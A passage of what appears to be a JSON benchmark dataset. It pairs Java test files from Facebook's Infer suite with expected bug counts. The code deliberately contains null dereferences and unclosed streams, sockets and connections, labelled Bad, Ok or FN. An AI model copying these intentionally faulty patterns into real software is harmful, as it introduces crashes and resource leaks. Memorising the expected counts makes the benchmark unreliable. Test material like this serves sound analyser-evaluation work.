be null */\n j = s.length();\n }\n return j;\n }\n}\n" + }, + { + "testname": "NullSafeExample.java", + "testlanguage": "java", + "expected-problems": 5, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nimport com.facebook.infer.annotation.Nullsafe;\n\nclass OtherClass {\n\n OtherClass x = null;\n\n OtherClass canReturnNull() {\n return this.x;\n }\n\n String buggyMethodBad() {\n OtherClass o = new OtherClass();\n return o.canReturnNull().toString();\n }\n}\n\n/*\n * Pulse will not report NPEs on @Nullsafe classes if flag\n * --pulse-nullsafe-report-npe is set to false\n */\n\n@Nullsafe(Nullsafe.Mode.LOCAL)\nclass NullsafeExampleLocal {\n void testingNullsafeLocalMode() {\n OtherClass o = new OtherClass();\n o = o.canReturnNull();\n o.getClass();\n }\n}\n\n@Nullsafe(Nullsafe.Mode.STRICT)\nclass NullsafeExampleStrict {\n void testingNullsafeStrictMode() {\n OtherClass o = new OtherClass();\n o = o.canReturnNull();\n o.toString();\n }\n}\n" + }, + { + "testname": "PreconditionsExample.java", + "testlanguage": "java", + "expected-problems": 16, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\npackage codetoanalyze.java.infer;\n\nimport com.google.common.base.Preconditions;\n\npublic class PreconditionsExample {\n\n Integer i1;\n\n /*\n * Note: Although the Guava checkNotNull method throws a NullPointerException when a given\n * value x is null, Pulse will simply try to go ahead assuming that x != null.\n * This means that it will not report NPEs on values passed to checkNotNull.\n * The analogous approach has been taken for checkState and checkArgument.\n */\n\n void testCheckNotNullOnNullValueOk() {\n PreconditionsExample x = null;\n // This should not be reported due to the use of checkNotNull\n Preconditions.checkNotNull(x);\n Integer i1 = x.i1;\n }\n\n void testCheckNotNullOnNonNullValueOk() {\n PreconditionsExample x = new PreconditionsExample();\n x.i1 = new Integer(10);\n PreconditionsExample y = Preconditions.checkNotNull(x);\n // This should not cause bug, as y.i1 should be equal to x.i1\n if (!y.i1.equals(10)) {\n Object o = null;\n o.toString();\n }\n }\n\n void testCheckNotNullPassingFurtherArgsOk() {\n Object x = null;\n Preconditions.checkNotNull(x, \"errorMsg\");\n x.toString();\n }\n\n void testCheckNotNullOtherDerefOk() {\n Object x = null;\n Object y = null;\n Preconditions.checkNotNull(x, \"errorMsg\");\n y.toString();\n }\n\n void testCheckNotNullArgOk(Object x) {\n Object y = null;\n Preconditions.checkNotNull(x);\n x.toString();\n }\n\n void testCheckNotNullArgBad(Object x) {\n Object y = null;\n Preconditions.checkNotNull(x);\n y.toString();\n }\n\n void checkStateConditionSatBad() {\n PreconditionsExample x = new PreconditionsExample();\n PreconditionsExample y = null;\n x.i1 = 1000;\n Preconditions.checkState(x.i1.equals(1000));\n y.toString();\n }\n\n void checkStateConditionUnsatOk() {\n PreconditionsExample x = new PreconditionsExample();\n PreconditionsExample y = null;\n x.i1 = 1000;\n Preconditions.checkState(x.i1.equals(100), \"errorMsg\");\n y.toString();\n }\n\n void checkArgumentUnsatOk() {\n int age = -18;\n Object x = null;\n Preconditions.checkArgument(age > 0);\n x.getClass();\n }\n\n void checkAgeOver18(int age) {\n Preconditions.checkArgument(age > 18, \"errorMsg\");\n }\n\n void checkArgumentSatBad() {\n int age = 20;\n Object x = null;\n checkAgeOver18(age);\n x.getClass();\n }\n}\n" + }, + { + "testname": "ReaderLeaks.java", + "testlanguage": "java", + "expected-problems": 41, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.infer;\n\nimport java.io.BufferedReader;\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.io.PipedReader;\nimport java.io.PipedWriter;\nimport java.io.PushbackReader;\nimport java.io.Reader;\n\npublic class ReaderLeaks {\n\n private void ignore(Object o) {}\n\n // Reader tests\n\n public void readerNotClosedAfterReadBad() {\n Reader r;\n try {\n r = new FileReader(\"testing.txt\");\n r.read();\n r.close();\n } catch (IOException e) {\n }\n }\n\n public void readerClosedOk() throws IOException {\n Reader r = null;\n try {\n r = new FileReader(\"testing.txt\");\n boolean ready = r.ready();\n r.close();\n } catch (IOException e) {\n } finally {\n if (r != null) r.close();\n }\n }\n\n // BufferedReader tests\n\n public void bufferedReaderNotClosedAfterReadBad() {\n BufferedReader reader;\n try {\n reader = new BufferedReader(new FileReader(\"testing.txt\"));\n ignore(reader.read());\n reader.close();\n } catch (IOException e) {\n }\n }\n\n public void bufferedReaderClosedOk() throws IOException {\n BufferedReader reader = null;\n try {\n reader = new BufferedReader(new FileReader(\"testing.txt\"));\n ignore(reader.read());\n } catch (IOException e) {\n } finally {\n if (reader != null) reader.close();\n }\n }\n\n public void FN_tryWithBufferReaderWrapperBad(File file) throws IOException {\n try (InputStreamReader inputStreamReader = new InputStreamReader(new FileInputStream(file))) {\n BufferedReader reader = new BufferedReader(inputStreamReader);\n ignore(reader.readLine());\n }\n }\n\n public void tryWithBufferReaderWrapperOk(File file) throws IOException {\n try (InputStreamReader inputStreamReader = new InputStreamReader(new FileInputStream(file));\n BufferedReader reader = new BufferedReader(inputStreamReader); ) {\n ignore(reader.readLine());\n }\n }\n\n // InputStreamReader tests\n\n public void inputStreamReaderNotClosedAfterReadBad() {\n InputStreamReader reader;\n try {\n reader = new InputStreamReader(new FileInputStream(\"testing.txt\"));\n reader.read();\n reader.close();\n } catch (IOException e) {\n }\n }\n\n public void inputStreamReaderClosedOk() throws IOException {\n InputStreamReader reader = null;\n try {\n reader = new InputStreamReader(new FileInputStream(\"testing.txt\"));\n ignore(reader.read());\n } catch (IOException e) {\n } finally {\n if (reader != null) reader.close();\n }\n }\n\n // FileReader tests\n\n public void fileReaderNotClosedAfterReadBad() {\n FileReader reader;\n try {\n reader = new FileReader(\"testing.txt\");\n reader.read();\n reader.close();\n } catch (IOException e) {\n }\n }\n\n public void fileReaderClosedOk() throws IOException {\n FileReader reader = null;\n try {\n reader = new FileReader(\"testing.txt\");\n reader.read();\n } catch (IOException e) {\n } finally {\n if (reader != null) reader.close();\n }\n }\n\n // PushbackReader tests\n\n public void pushbackReaderNotClosedAfterReadBad() {\n PushbackReader reader;\n try {\n reader = new PushbackReader(new InputStreamReader(new FileInputStream(\"testing.txt\")));\n reader.read();\n reader.close();\n } catch (IOException e) {\n }\n }\n\n public void pushbackReaderClosedOk() throws IOException {\n PushbackReader reader = null;\n try {\n reader = new PushbackReader(new InputStreamReader(new FileInputStream(\"testing.txt\")));\n reader.read();\n } catch (IOException e) {\n } finally {\n if (reader != null) reader.close();\n }\n }\n\n // PipedReader tests\n\n public void pipedReaderNotClosedAfterConstructedWithWriterBad() {\n PipedReader reader;\n PipedWriter writer;\n try {\n writer = new PipedWriter();\n reader = new PipedReader(writer);\n reader.read();\n reader.close();\n } catch (IOException e) {\n }\n }\n\n public void pipedReaderNotClosedAfterConnectOk(PipedWriter writer) {\n PipedReader reader;\n try {\n reader = new PipedReader();\n reader.connect(writer);\n reader.read();\n reader.close();\n } catch (IOException e) {\n }\n }\n\n public void FN_pipedReaderNotConnectedBad(PipedWriter writer) {\n PipedReader reader;\n try {\n reader = new PipedReader();\n reader.connect(writer);\n reader.close();\n } catch (IOException e) {\n }\n }\n\n public void pipedReaderClosedOk(PipedWriter writer) throws IOException {\n PipedReader reader = null;\n try {\n reader = new PipedReader();\n reader.connect(writer);\n reader.read();\n } catch (IOException e) {\n } finally {\n if (reader != null) reader.close();\n }\n }\n\n public void FN_pipedReaderWriterBad() throws IOException {\n PipedReader reader = null;\n PipedWriter writer = new PipedWriter();\n try {\n reader = new PipedReader(writer);\n reader.read();\n } catch (IOException e) {\n } finally {\n if (reader != null) reader.close();\n }\n }\n\n public void pipedReaderWriterOk() throws IOException {\n PipedReader reader = null;\n PipedWriter writer = new PipedWriter();\n try {\n reader = new PipedReader(writer);\n reader.read();\n } catch (IOException e) {\n } finally {\n if (reader != null) reader.close();\n else writer.close();\n }\n }\n}\n" + }, + { + "testname": "ResourceLeaks.java", + "testlanguage": "java", + "expected-problems": 235, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.infer;\n\nimport android.app.Activity;\nimport android.content.Context;\nimport android.content.res.Resources;\nimport android.content.res.TypedArray;\nimport com.fasterxml.jackson.core.JsonFactory;\nimport com.fasterxml.jackson.core.JsonParser;\nimport com.fasterxml.jackson.core.json.UTF8StreamJsonParser;\nimport com.google.common.base.Preconditions;\nimport com.google.common.io.Closeables;\nimport java.io.BufferedInputStream;\nimport java.io.Closeable;\nimport java.io.DataOutputStream;\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.io.ObjectInputStream;\nimport java.io.ObjectOutputStream;\nimport java.io.OutputStream;\nimport java.io.PipedInputStream;\nimport java.io.PipedOutputStream;\nimport java.io.PrintWriter;\nimport java.io.RandomAccessFile;\nimport java.net.HttpURLConnection;\nimport java.net.ServerSocket;\nimport java.net.Socket;\nimport java.net.URL;\nimport java.net.URLConnection;\nimport java.nio.channels.FileChannel;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Scanner;\nimport java.util.jar.JarFile;\nimport java.util.jar.JarInputStream;\nimport java.util.jar.JarOutputStream;\nimport java.util.zip.Deflater;\nimport java.util.zip.GZIPInputStream;\nimport java.util.zip.GZIPOutputStream;\nimport java.util.zip.Inflater;\nimport java.util.zip.ZipFile;\nimport javax.net.ssl.HttpsURLConnection;\n\npublic class ResourceLeaks {\n\n // FileOutputStream tests\n\n public void fileOutputStreamNotClosedBad() throws IOException {\n FileOutputStream fis = new FileOutputStream(\"file.txt\");\n }\n\n public void fileOutputStreamNotClosedAfterWriteNoTryBad() throws IOException {\n byte[] arr = {1, 2, 3};\n FileOutputStream fis = new FileOutputStream(\"file.txt\");\n fis.write(arr);\n fis.close();\n }\n\n public void fileOutputStreamNotClosedAfterWriteBad() {\n byte[] arr = {1, 2, 3};\n FileOutputStream fis = null;\n try {\n fis = new FileOutputStream(\"file.txt\");\n fis.write(arr);\n fis.close();\n } catch (IOException e) {\n }\n }\n\n public void fileOutputStreamClosedAfterWriteAlmostOk() throws IOException {\n byte[] arr = {1, 2, 3};\n FileOutputStream fis = null;\n try {\n fis = new FileOutputStream(\"file.txt\");\n fis.write(arr);\n fis.close();\n } catch (IOException e) {\n if (fis != null) fis.close();\n // there is stil a possible leakage if close() raises an exception but we\n // ignore this case and mark this method as Ok.\n }\n }\n\n public void fileOutputStreamClosedAfterWriteOk() throws IOException {\n byte[] arr = {1, 2, 3};\n FileOutputStream fis = null;\n try {\n fis = new FileOutputStream(\"file.txt\");\n fis.write(arr);\n } finally {\n if (fis != null) fis.close();\n }\n }\n\n public void fileOutputStreamClosedOk() throws IOException {\n FileOutputStream fis = new FileOutputStream(\"file.txt\");\n fis.close();\n }\n\n public void fileOutputStreamOneLeakBad() throws IOException {\n FileOutputStream fis = new FileOutputStream(\"file.txt\");\n if (fis != null) {\n } else {\n }\n }\n\n public int fileOutputStreamTwoLeaksBad1(boolean ok) throws IOException {\n FileOutputStream fis = new FileOutputStream(\"file.txt\");\n if (ok) {\n fis.write(1);\n return 1;\n } else {\n fis.write(2);\n return 2;\n }\n }\n\n public void fileOutputStreamTwoLeaksBad2() throws IOException {\n FileOutputStream fis = new FileOutputStream(\"file.txt\");\n if (fis != null) {\n } else {\n }\n fis = new FileOutputStream(\"x\");\n }\n\n // TwoResources tests\n\n public static void twoResourcesBad() throws IOException {\n FileInputStream fis = null;\n FileOutputStream fos = null;\n try {\n fis = new FileInputStream(new File(\"infile.txt\"));\n fos = new FileOutputStream(new File(\"outfile.txt\"));\n fos.write(fis.read());\n } finally {\n if (fis != null) fis.close();\n if (fos != null) fos.close();\n }\n }\n\n public static void twoResourcesHeliosFixOk() throws IOException {\n FileInputStream fis = null;\n FileOutputStream fos = null;\n try {\n fis = new FileInputStream(new File(\"whatever.txt\"));\n try {\n fos = new FileOutputStream(new File(\"everwhat.txt\"));\n fos.write(fis.read());\n } finally {\n if (fos != null) fos.close();\n }\n } finally {\n if (fis != null) fis.close();\n }\n }\n\n public static void twoResourcesCommonFixOk() throws IOException {\n FileInputStream fis = null;\n FileOutputStream fos = null;\n try {\n fis = new FileInputStream(new File(\"infile.txt\"));\n fos = new FileOutputStream(new File(\"outfile.txt\"));\n fos.write(fis.read());\n } finally {\n try {\n if (fis != null) fis.close();\n } catch (Exception e) {\n }\n try {\n if (fos != null) fos.close();\n } catch (Exception e) {\n }\n }\n }\n\n public static void FN_twoResourcesServerSocketBad() throws IOException {\n ServerSocket a = null;\n ServerSocket b = null;\n try {\n a = new ServerSocket();\n b = new ServerSocket();\n } finally {\n if (a != null) a.close();\n if (b != null) b.close();\n }\n }\n\n public static void FN_twoResourcesRandomAccessFileBad() throws IOException {\n RandomAccessFile a = null;\n RandomAccessFile b = null;\n try {\n a = new RandomAccessFile(\"\", \"rw\");\n b = new RandomAccessFile(\"\", \"rw\");\n } finally {\n if (a != null) a.close();\n if (b != null) b.close();\n }\n }\n\n public static void twoResourcesRandomAccessFileCommonFixOk() throws IOException {\n RandomAccessFile a = null;\n RandomAccessFile b = null;\n try {\n a = new RandomAccessFile(\"\", \"rw\");\n b = new RandomAccessFile(\"\", \"rw\");\n } finally {\n try {\n if (a != null) a.close();\n } catch (Exception e) {\n }\n try {\n if (b != null) b.close();\n } catch (Exception e) {\n }\n }\n }\n\n // NestedResource tests\n\n // BufferedInputStream does not throw exception, and its close\n // closes the FileInputStream as well\n public void nestedOk() throws IOException {\n BufferedInputStream b = new BufferedInputStream(new FileInputStream(\"file.txt\"));\n b.close();\n }\n\n // GZipInputStream can throw IO Exception\n // in which case the new FileInputStream will be dangling\n public void nestedBad1() throws IOException {\n GZIPInputStream g = new GZIPInputStream(new FileInputStream(\"file.txt\"));\n g.close();\n }\n\n public void nestedBad2() throws IOException {\n GZIPOutputStream g = new GZIPOutputStream(new FileOutputStream(\"file.txt\"));\n g.close();\n }\n\n /* Fixed versions of this are below with ObjectInputStream tests */\n public void objectInputStreamClosedNestedBad() throws IOException {\n ObjectInputStream oin = null;\n try {\n oin = new ObjectInputStream(new FileInputStream(\"file.txt\"));\n int a = oin.available();\n } catch (IOException e) {\n } finally {\n if (oin != null) oin.close();\n }\n }\n\n /* Fixed versions of this are below with ObjectInputStream tests */\n public void objectOutputStreamClosedNestedBad() throws IOException {\n ObjectOutputStream oin = null;\n try {\n oin = new ObjectOutputStream(new FileOutputStream(\"file.txt\"));\n oin.write(3);\n } catch (IOException e) {\n } finally {\n if (oin != null) oin.close();\n }\n }\n\n // ZipFile tests (Jarfile Tests also test Zipfiles)\n\n public static void FN_zipFileLeakExceptionalBranchBad() throws IOException {\n ZipFile j = null;\n try {\n j = new ZipFile(\"\");\n } catch (IOException e) {\n FileOutputStream fis = new FileOutputStream(\"file.txt\");\n // The purpose of this is to cause a leak, from when ZipFile constructor throws\n } finally {\n if (j != null) j.close();\n }\n }\n\n public static void zipFileNoLeakOk() throws IOException {\n ZipFile j = null;\n try {\n j = new ZipFile(\"\");\n } finally {\n if (j != null) j.close();\n }\n }\n\n // JarFile tests\n\n public boolean jarFileClosedOk() {\n JarFile jarFile = null;\n try {\n jarFile = new JarFile(\"\");\n } catch (IOException e) {\n } finally {\n try {\n if (jarFile != null) {\n jarFile.close();\n }\n } catch (IOException e) {\n }\n }\n return false;\n }\n\n public boolean FN_jarFileNotClosedBad() {\n JarFile jarFile = null;\n try {\n jarFile = new JarFile(\"\");\n } catch (IOException e) {\n }\n return false;\n }\n\n // FileInputStream tests\n\n public void fileInputStreamNotClosedAfterReadBad() {\n FileInputStream fis;\n try {\n fis = new FileInputStream(\"file.txt\");\n fis.read();\n fis.close();\n } catch (IOException e) {\n }\n }\n\n public void fileInputStreamClosedOk() throws IOException {\n FileInputStream fis = null;\n try {\n fis = new FileInputStream(\"file.txt\");\n fis.available();\n } catch (IOException e) {\n } finally {\n if (fis != null) fis.close();\n }\n }\n\n // PipedInputStream tests\n\n public void FN_pipedInputStreamNotClosedAfterReadBad(PipedOutputStream pout) {\n PipedInputStream pin;\n try {\n pin = new PipedInputStream(pout);\n int data = pin.read();\n pin.close();\n } catch (IOException e) {\n }\n }\n\n public void pipedInputStreamClosedOk(PipedOutputStream pout) throws IOException {\n PipedInputStream pin = null;\n try {\n pin = new PipedInputStream(pout);\n int data = pin.read();\n } catch (IOException e) {\n } finally {\n pin.close();\n }\n }\n\n // PipedOutputStream tests\n\n public void FN_pipedOutputStreamNotClosedAfterWriteBad() {\n byte[] arr = {1, 2, 3, 4, 5};\n PipedOutputStream pout;\n try {\n pout = new PipedOutputStream();\n pout.write(arr);\n pout.close();\n } catch (IOException e) {\n }\n }\n\n public void pipedOutputStreamClosedOk(PipedInputStream pin) throws IOException {\n PipedOutputStream pout = null;\n try {\n pout = new PipedOutputStream(pin);\n pout.flush();\n } catch (IOException e) {\n } finally {\n pout.close();\n }\n }\n\n // ObjectOutputStream tests\n\n public void objectOutputStreamNotClosedAfterWriteBad() {\n byte[] arr = {1, 2, 3, 4, 5};\n ObjectOutputStream oout;\n try {\n oout = new ObjectOutputStream(new FileOutputStream(\"file.txt\"));\n oout.write(arr);\n oout.close();\n } catch (IOException e) {\n }\n }\n\n public void objectOutputStreamClosedOk() throws IOException {\n ObjectOutputStream oout = null;\n FileOutputStream fis = new FileOutputStream(\"file.txt\");\n try {\n oout = new ObjectOutputStream(fis);\n oout.flush();\n } catch (IOException e) {\n } finally {\n if (oout != null) {\n oout.close();\n } else {\n fis.close();\n }\n }\n }\n\n // ObjectInputStream tests\n\n public void objectInputStreamNotClosedAfterReadBad() {\n ObjectInputStream oin;\n try {\n oin = new ObjectInputStream(new FileInputStream(\"file.txt\"));\n oin.read();\n oin.close();\n } catch (IOException e) {\n }\n }\n\n public void objectInputStreamClosedOk() throws IOException {\n ObjectInputStream oin = null;\n FileInputStream fis = new FileInputStream(\"file.txt\");\n try {\n oin = new ObjectInputStream(fis);\n int a = oin.available();\n } catch (IOException e) {\n } finally {\n if (oin != null) {\n oin.close();\n } else {\n fis.close();\n }\n }\n }\n\n public void objectInputStreamNotClosedBad() throws IOException {\n ObjectInputStream oin = null;\n FileInputStream fis = new FileInputStream(\"file.txt\");\n try {\n oin = new ObjectInputStream(fis);\n int a = oin.available();\n } catch (IOException e) {\n } finally {\n fis.close();\n }\n }\n\n // JarInputStream tests\n\n public static void jarInputStreamNoLeakOk() throws IOException {\n FileInputStream fos = new FileInputStream(\"\");\n try {\n JarInputStream g = new JarInputStream(fos);\n g.close();\n } catch (IOException e) {\n fos.close();\n }\n }\n\n public static void jarInputStreamLeakBad() throws IOException {\n FileInputStream fos = new FileInputStream(\"\");\n try {\n JarInputStream g = new JarInputStream(fos); // Testing exceptional condition in constructor\n g.close();\n } catch (IOException e) {\n // fos.close();\n }\n }\n\n public static void nestedJarInputStreamBad(File file) throws IOException {\n JarInputStream g = new JarInputStream(new FileInputStream(file));\n g.close();\n }\n\n // JarOutputStream tests\n\n public static void jarOutputStreamNoLeakOk() throws IOException {\n FileOutputStream fos = new FileOutputStream(\"\");\n try {\n JarOutputStream g = new JarOutputStream(fos);\n g.close();\n } catch (IOException e) {\n fos.close();\n }\n }\n\n public static void jarOutputStreamLeakBad() throws IOException {\n FileOutputStream fos = new FileOutputStream(\"\");\n try {\n JarOutputStream g = new JarOutputStream(fos); // Testing exceptional condition in constructor\n g.close();\n } catch (IOException e) {\n // fos.close();\n }\n }\n\n public static void nestedJarOutputStreamBad() throws IOException {\n JarOutputStream g = new JarOutputStream(new FileOutputStream(\"file.txt\"));\n g.close();\n }\n\n // Socket tests\n\n public void FN_socketNotClosedBad() {\n Socket socket = new Socket();\n }\n\n public void socketClosedOk() throws IOException {\n Socket socket = new Socket();\n socket.close();\n }\n\n // Socket InputStream tests\n\n public int FN_socketInputStreamNotClosedBad(Socket socket) throws IOException {\n InputStream stream = socket.getInputStream();\n return stream.read();\n }\n\n public void socketInputStreamClosedOk() throws IOException {\n Socket socket = new Socket();\n InputStream stream = socket.getInputStream();\n try {\n stream.close();\n } catch (Exception e) {\n }\n socket.close();\n }\n\n // Socket OutputStream tests\n\n public void FN_socketOutputStreamNotClosedBad(Socket socket) throws IOException {\n OutputStream stream = socket.getOutputStream();\n stream.write(10);\n }\n\n public void socketOutputStreamClosedOk() throws IOException {\n Socket socket = new Socket();\n OutputStream stream = socket.getOutputStream();\n try {\n stream.close();\n } catch (Exception e) {\n }\n socket.close();\n }\n\n // ServerSocket tests\n\n public void FN_serverSocketNotClosedBad() throws IOException {\n ServerSocket listener = new ServerSocket(9090);\n while (true) {\n Socket socket = listener.accept();\n try {\n PrintWriter out = new PrintWriter(socket.getOutputStream(), true);\n out.println(\"\");\n } finally {\n socket.close();\n }\n listener.close();\n }\n }\n\n public void serverSocketClosedOk() throws IOException {\n ServerSocket socket = new ServerSocket();\n socket.close();\n }\n\n public void serverSocketWithSocketClosedOk() throws IOException {\n ServerSocket listener = new ServerSocket(9090);\n try {\n while (true) {\n Socket socket = listener.accept();\n try {\n PrintWriter out = new PrintWriter(socket.getOutputStream(), true);\n out.println(\"\");\n } finally {\n socket.close();\n }\n }\n } finally {\n listener.close();\n }\n }\n\n // HttpURLConnection\n\n public void openHttpURLConnectionDisconnectedOk() throws IOException {\n String content = \"TEXT\";\n DataOutputStream outputStream = null;\n HttpURLConnection connection = null;\n URL address = new URL(\"http://www.facebook.com\");\n connection = (HttpURLConnection) address.openConnection();\n try {\n outputStream = new DataOutputStream(connection.getOutputStream());\n outputStream.writeBytes(content);\n outputStream.flush();\n\n } finally {\n connection.disconnect();\n }\n }\n\n public void FN_openHttpURLConnectionNotDisconnectedBad() throws IOException {\n String content = \"TEXT\";\n DataOutputStream outputStream = null;\n HttpURLConnection connection = null;\n URL address = new URL(\"http://www.facebook.com\");\n connection = (HttpURLConnection) address.openConnection();\n\n outputStream = new DataOutputStream(connection.getOutputStream());\n outputStream.writeBytes(content);\n }\n\n public void FN_openHttpsURLConnectionNotDisconnectedBad() throws IOException {\n HttpsURLConnection connection = null;\n URL address = new URL(\"https://www.facebook.com\");\n connection = (HttpsURLConnection) address.openConnection();\n }\n\n public void openHttpsURLConnectionDisconnectedOk() throws IOException {\n HttpsURLConnection connection = null;\n URL address = new URL(\"https://www.facebook.com\");\n connection = (HttpsURLConnection) address.openConnection();\n connection.disconnect();\n }\n\n public void closedWithCloseablesOk() throws IOException {\n FileInputStream fs = new FileInputStream(\"file.txt\");\n try {\n fs.read();\n } finally {\n Closeables.close(fs, false);\n }\n }\n\n public void closedQuietlyWithCloseablesOk() throws IOException {\n FileInputStream fs = new FileInputStream(\"file.txt\");\n try {\n fs.read();\n } finally {\n Closeables.closeQuietly(fs);\n }\n }\n\n public void closeNullWithCloseablesOk() throws IOException {\n FileInputStream fs = null;\n try {\n fs = new FileInputStream(\"file.txt\");\n } finally {\n Closeables.close(fs, true);\n }\n }\n\n public void closeNullQuietlyWithCloseablesOk() throws IOException {\n FileInputStream fs = null;\n try {\n fs = new FileInputStream(\"file.txt\");\n } finally {\n Closeables.closeQuietly(fs);\n }\n }\n\n private static void myClose(Closeable closeable, boolean swallowIOException) throws IOException {\n if (closeable == null) {\n return;\n }\n try {\n closeable.close();\n } catch (IOException e) {\n if (!swallowIOException) {\n throw e;\n }\n }\n }\n\n public void closeWithCloseablesNestedAllocOk() throws IOException {\n BufferedInputStream b = null;\n try {\n b = new BufferedInputStream(new FileInputStream(\"file.txt\"));\n } finally {\n myClose(b, false);\n }\n }\n\n // JsonParser tests\n\n public void FN_parseFromStringAndNotCloseBad(JsonFactory factory) throws IOException {\n UTF8StreamJsonParser parser = null;\n try {\n parser = (UTF8StreamJsonParser) factory.createParser(new File(\"[]\"));\n Object o = parser.readValueAs(Object.class);\n ignore(o);\n } catch (Exception e) {\n } finally {\n }\n }\n\n public void parseFromInputStreamAndCloseOk(JsonFactory factory) throws IOException {\n JsonParser parser = null;\n FileInputStream in = null;\n try {\n in = new FileInputStream(\"\");\n parser = factory.createParser(in);\n Object o = parser.readValueAs(Object.class);\n ignore(o);\n } catch (Exception e) {\n } finally {\n if (in != null) in.close();\n }\n // parser does not own a resources which is closed externally\n }\n\n public void FN_parseFromInputStreamAndLeakBad(JsonFactory factory) throws IOException {\n JsonParser parser = null;\n FileInputStream in = null;\n try {\n in = new FileInputStream(\"\");\n parser = factory.createParser(in);\n Object o = parser.readValueAs(Object.class);\n ignore(o);\n } catch (Exception e) {\n } finally {\n if (parser != null) parser.close();\n }\n // parser does not own a resource which is leaked\n }\n\n private void ignore(Object o) {}\n\n // Installation.java examples. Even the fix was a fp for a while\n // for several reasons, so this test is just to make sure it remains\n // banished forever\n\n private String readInstallationFileOk(File installation) throws IOException {\n RandomAccessFile f = new RandomAccessFile(installation, \"r\");\n try {\n byte[] bytes = new byte[(int) f.length()];\n f.readFully(bytes);\n return new String(bytes);\n } finally {\n f.close();\n }\n }\n\n private String FN_readInstallationFileBad(File installation) throws IOException {\n RandomAccessFile f = new RandomAccessFile(installation, \"r\");\n byte[] bytes = new byte[(int) f.length()];\n f.readFully(bytes);\n f.close();\n return new String(bytes);\n }\n\n private int readConfigCloseStreamOk(String mTurnConfigUrl) {\n try {\n URL url = new URL(mTurnConfigUrl);\n URLConnection connection = url.openConnection();\n InputStream stream = connection.getInputStream();\n try {\n return stream.read();\n } finally {\n stream.close();\n }\n } catch (Exception e) {\n }\n return 0;\n }\n\n private int FN_readConfigNotCloseStreamBad(String mTurnConfigUrl) {\n try {\n URL url = new URL(mTurnConfigUrl);\n URLConnection connection = url.openConnection();\n InputStream stream = connection.getInputStream();\n return stream.read();\n } catch (Exception e) {\n }\n return 0;\n }\n\n private void FN_readConfigNotClosedBad(String mTurnConfigUrl) {\n try {\n URL url = new URL(mTurnConfigUrl);\n URLConnection connection = url.openConnection();\n ignore(connection);\n } catch (Exception e) {\n }\n }\n\n // TypedArray\n\n public void themeObtainTypedArrayAndRecycleOk(Resources.Theme theme) {\n TypedArray array = theme.obtainStyledAttributes(new int[] {});\n ignore(array);\n array.recycle();\n }\n\n public void FN_themeObtainTypedArrayAndLeakBad(Resources.Theme theme) {\n TypedArray array = theme.obtainStyledAttributes(new int[] {});\n ignore(array);\n }\n\n public void activityObtainTypedArrayAndRecycleOk(Activity activity) {\n TypedArray array = activity.obtainStyledAttributes(new int[] {});\n ignore(array);\n array.recycle();\n }\n\n public void FN_activityObtainTypedArrayAndLeakBad(Activity activity) {\n TypedArray array = activity.obtainStyledAttributes(new int[] {});\n ignore(array);\n }\n\n public void contextObtainTypedArrayAndRecycleOk(Context context) {\n TypedArray array = context.obtainStyledAttributes(new int[] {});\n ignore(array);\n array.recycle();\n }\n\n public void FN_contextObtainTypedArrayAndLeakBad(Context context) {\n TypedArray array = context.obtainStyledAttributes(new int[] {});\n ignore(array);\n }\n\n // FileChannel\n\n void FN_copyFileLeakBad(File src, File dst) throws IOException {\n FileChannel inChannel = new FileInputStream(src).getChannel();\n FileChannel outChannel = new FileOutputStream(dst).getChannel();\n try {\n inChannel.transferTo(0, inChannel.size(), outChannel);\n } finally {\n if (inChannel != null) inChannel.close();\n if (outChannel != null) outChannel.close();\n }\n }\n\n void copyFileCloseOk(File src, File dst) throws IOException {\n FileChannel inChannel = new FileInputStream(src).getChannel();\n try {\n ignore(inChannel);\n } finally {\n inChannel.close();\n }\n }\n\n protected long checkNotNullCauseNoLeakOk(URL mUrl) throws IOException {\n URL url = new URL(\"http://www.facebook.com\");\n HttpURLConnection serverConnection =\n (HttpURLConnection) Preconditions.checkNotNull(url.openConnection());\n try {\n ignore(serverConnection);\n } catch (NumberFormatException nfe) {\n } finally {\n serverConnection.disconnect();\n }\n return 0;\n }\n\n void scannerNotClosedBad() throws IOException {\n Scanner scanner = new Scanner(new FileInputStream(\"file.txt\"));\n }\n\n void scannerClosedOk() throws IOException {\n Scanner scanner = new Scanner(new FileInputStream(\"file.txt\"));\n scanner.close();\n }\n\n void processDestroyedOk() {\n Process process = null;\n try {\n process = Runtime.getRuntime().exec(\"\");\n } catch (IOException e) {\n } finally {\n process.destroy(); // NPE ?\n }\n }\n\n void processForciblyDestroyedOk() throws IOException {\n Process process = null;\n try {\n process = Runtime.getRuntime().exec(\"\");\n } finally {\n ignore(process.destroyForcibly());\n }\n }\n\n class Container {\n FileInputStream inputStream;\n }\n\n native Container load(FileInputStream inputStream);\n\n public Container resourceReturnedIndirectlyOk() {\n FileInputStream inputStream;\n Container container = null;\n try {\n inputStream = new FileInputStream(\"pif.txt\");\n container = load(inputStream);\n } catch (FileNotFoundException e) {\n return null;\n }\n return container;\n }\n\n native void unknownClose(Closeable c);\n\n public void resourceClosedBySkippedMethodOk() {\n FileInputStream inputStream = null;\n try {\n inputStream = new FileInputStream(\"pif.txt\");\n } catch (FileNotFoundException e) {\n return;\n } finally {\n unknownClose(inputStream);\n }\n }\n\n public int tryWithResourceOk() {\n try (FileInputStream inputStream = new FileInputStream(\"paf.txt\")) {\n return inputStream.read();\n } catch (IOException e) {\n return 0;\n }\n }\n\n public InputStreamReader withCharsetOk(URLConnection urlConnection) {\n InputStreamReader reader = null;\n try {\n reader = new 